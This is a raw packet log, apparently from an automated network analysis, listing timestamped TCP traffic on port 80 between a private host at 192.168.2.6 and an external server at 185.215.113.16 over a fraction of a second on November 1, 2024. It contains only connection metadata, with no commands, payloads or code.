Nov 1, 2024 03:46:13.463514090 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.463525057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.463558912 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.463736057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.463749886 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.463762999 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.463784933 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.463818073 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.464121103 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.464133978 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.464145899 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.464165926 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.464196920 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.504570961 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.504584074 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.504596949 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.504650116 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.504663944 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.504677057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.504765987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.512181997 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.512239933 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.512264967 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.512279034 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.512307882 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.512326002 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.512478113 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.512523890 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.512634993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.512650013 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.512686968 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.512914896 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.512962103 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.513022900 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513034105 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513071060 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.513202906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513216019 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513230085 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513248920 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.513283968 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.513647079 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513690948 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.513732910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513744116 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513777971 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.513930082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513941050 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.513973951 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.514158010 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.514169931 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.514183044 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.514197111 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.514204979 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.514209032 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.514223099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.514224052 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.514234066 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.514251947 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.514285088 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.514996052 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515010118 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515022993 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515037060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515047073 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.515050888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515069008 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.515094995 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.515629053 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515640974 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515652895 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515666962 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515676022 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.515680075 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515692949 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.515695095 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.515717983 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.515750885 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.516490936 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.516505957 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.516520023 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.516535044 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.516535044 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.516549110 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.516561031 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.516562939 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.516598940 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.517272949 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.517287970 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.517299891 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.517313004 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.517326117 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.517354012 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.560003996 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.560084105 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.560136080 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.560148954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.560179949 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.560201883 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.579797029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.579849005 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.579884052 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.579895973 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.579932928 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.580039024 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.580051899 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.580065966 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.580080986 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.580080986 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.580102921 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.580142975 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.580645084 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.580658913 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.580673933 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.580686092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.580694914 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.580713987 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.580746889 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.581185102 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581196070 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581237078 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.581403017 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581414938 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581434965 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581449032 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.581473112 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.581629992 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581672907 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.581701040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581713915 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581727028 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581739902 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581743002 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.581753969 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.581765890 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.581787109 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.582266092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.582279921 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.582295895 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.582309008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.582310915 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.582344055 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.622634888 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.622766972 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.622781992 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.622786045 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.622812033 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.622818947 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.622826099 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.622833014 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.622840881 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.622865915 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.622909069 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.630063057 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.630115986 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.630139112 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.630152941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.630188942 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.630207062 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.630510092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.630554914 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.630589962 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.630603075 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.630637884 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.630806923 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.630852938 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.630985022 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.630997896 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631032944 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.631181955 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631195068 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631207943 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631227970 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.631266117 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.631531954 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631545067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631557941 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631577015 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.631601095 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.631925106 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631937981 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631957054 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.631968021 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.632002115 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.632268906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632282972 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632297039 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632314920 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.632347107 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.632694006 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632704973 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632719994 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632734060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632740974 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.632751942 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632762909 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.632766008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.632797956 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.633405924 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.633419037 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.633431911 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.633444071 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.633459091 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.633459091 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.633472919 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.633476019 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.633502007 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.633536100 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.634253979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.634268045 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.634280920 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.634295940 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.634301901 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.634308100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.634322882 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.634335995 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.634356976 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.635087967 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.635102034 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.635116100 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.635129929 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.635133982 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.635144949 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.635169029 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.635202885 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.672240973 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.672252893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.672360897 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.677824020 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.677836895 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.677850008 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.677880049 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.677901030 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.697834015 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.697890043 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.697958946 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.697972059 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.698004007 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.698026896 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.698225021 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.698237896 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.698273897 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.698513031 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.698525906 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.698539972 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.698554039 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.698559046 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.698582888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.698617935 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.699109077 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699120998 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699160099 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.699209929 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699253082 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.699362040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699373960 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699403048 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.699420929 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.699603081 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699618101 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699645042 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.699661970 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.699913979 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699927092 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699942112 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699955940 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.699956894 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.699980021 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.700011969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.700649023 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.700659990 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.700681925 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.700696945 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.700697899 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.700711012 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.700717926 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.700737000 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.700758934 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.740686893 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.740758896 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.740772009 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.740777969 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.740809917 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.740889072 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.740901947 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.740915060 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.740928888 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.740962029 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.747977018 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748070002 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748071909 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748085022 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748122931 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748131990 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748189926 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748229027 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748473883 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748509884 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748625040 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748636961 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748671055 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748677969 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748682976 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748691082 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748704910 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748714924 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748738050 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748871088 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748883963 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748898029 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.748915911 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.748941898 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.749309063 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.749371052 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.749447107 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.749458075 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.749486923 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.749509096 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.749628067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.749639034 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.749651909 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.749665022 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.749667883 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.749690056 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.749726057 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.750096083 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750109911 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750128984 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750135899 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.750142097 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750159025 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.750180960 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.750567913 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750581980 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750597000 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750607967 CET	58524	80	192.168.2.6	185.215.113.16
Nov 1, 2024 03:46:13.750611067 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750626087 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750639915 CET	80	58524	185.215.113.16	192.168.2.6
Nov 1, 2024 03:46:13.750639915 CET	58524	80	192.168.2.6	185.215.113.16
